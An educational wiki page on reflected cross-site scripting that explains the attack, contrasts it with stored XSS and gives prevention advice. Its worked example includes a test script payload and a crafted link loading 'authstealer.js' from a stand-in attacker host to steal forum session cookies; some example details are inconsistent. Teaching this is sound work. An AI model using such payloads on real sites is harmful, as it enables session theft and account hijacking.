LU10b - Reflected cross site scripting (XSS) attacks

What is a reflected XSS attack

Reflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the victim’s browser.

The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. The vulnerability is typically a result of incoming requests not being sufficiently sanitized, which allows for the manipulation of a web application’s functions and the activation of malicious scripts.

To distribute the malicious link, a perpetrator typically embeds it into an email or third party website (e.g., in a comment section or in social media). The link is embedded inside an anchor text that provokes the user to click on it, which initiates the XSS request to an exploited website, reflecting the attack back to the user.

Reflected XSS attack example

Unlike a stored attack, where the perpetrator must locate a website that allows for permanent injection of malicious scripts, reflected attacks only require that the malicious script be embedded into a link. That being said, in order for the attack to be successful, the user needs to click on the infected link.

As such, there are a number of key differences between reflected and stored XSS attacks, including:

- Reflected attacks are more common.
- Reflected attacks do not have the same reach as stored XSS attacks.
- Reflected attacks can be avoided by vigilant users.
- With a reflected XSS, the perpetrator plays a “numbers game” by sending the malicious link to as many users as possible, thereby improving his odds of successfully executing the attack.

Reflected XSS attack example

While visiting a forum site that requires users to log in to their account, a perpetrator executes this search query

```
<script type='text/javascript'>alert('xss');</script>
```

causing the following things to occur:

The query produces an alert box saying:

```
<script type='text/javascript'>alert('XSS');</script > not found.
```

The page's URL reads

```
http://ecommerce.com?q=<script type='text/javascript'>alert('XSS');
</script>
```

. This tells the perpetrator that the website is vulnerable. Next, he creates his own URL, which reads

```
http://forum.com?q=news<\script%20src="http://hackersite.com/authstealer.js"
```

and embeds it as a link into a seemingly harmless email, which he sends to a group of forum users.

While the sending address and subject line may appear suspect to some, it does not mean that it won't be clicked on. In fact, even if only one in every 1,000 recipients of the email click on the link, that still amounts to several dozen infected forum users. They will be taken to the forum's website, where the malicious script will be reflected back to their browser, enabling the perpetrator to steal their session cookies and hijack their forum accounts.

Reflected XSS attack prevention and mitigation

There are several effective methods for preventing and mitigating reflected XSS attacks. First and foremost, from the user's point-of-view, vigilance is the best way to avoid XSS scripting. Specifically, this means not clicking on suspicious links which may contain malicious code. Suspicious links include those found in:

- Emails from unknown senders
- A website's comments section
- Social media feed of unknown users

Related Topics

[1]: https://www.imperva.com/learn/application-security/reflected-xss-attacks/?utm_source=chatgpt.com „Reflected XSS | How to Prevent a Non-Persistent Attack - Imperva“ [2]: https://owasp.org/www-community/attacks/xss/ „Cross Site Scripting (XSS) | OWASP“

From:
https://wiki.bzz.ch/ - **BZZ - Modulwiki**

Permanent link:
https://wiki.bzz.ch/modul/m183/learningunits/lu10/lu10b?rev=1766865305

Last update: **2025/12/27 20:55**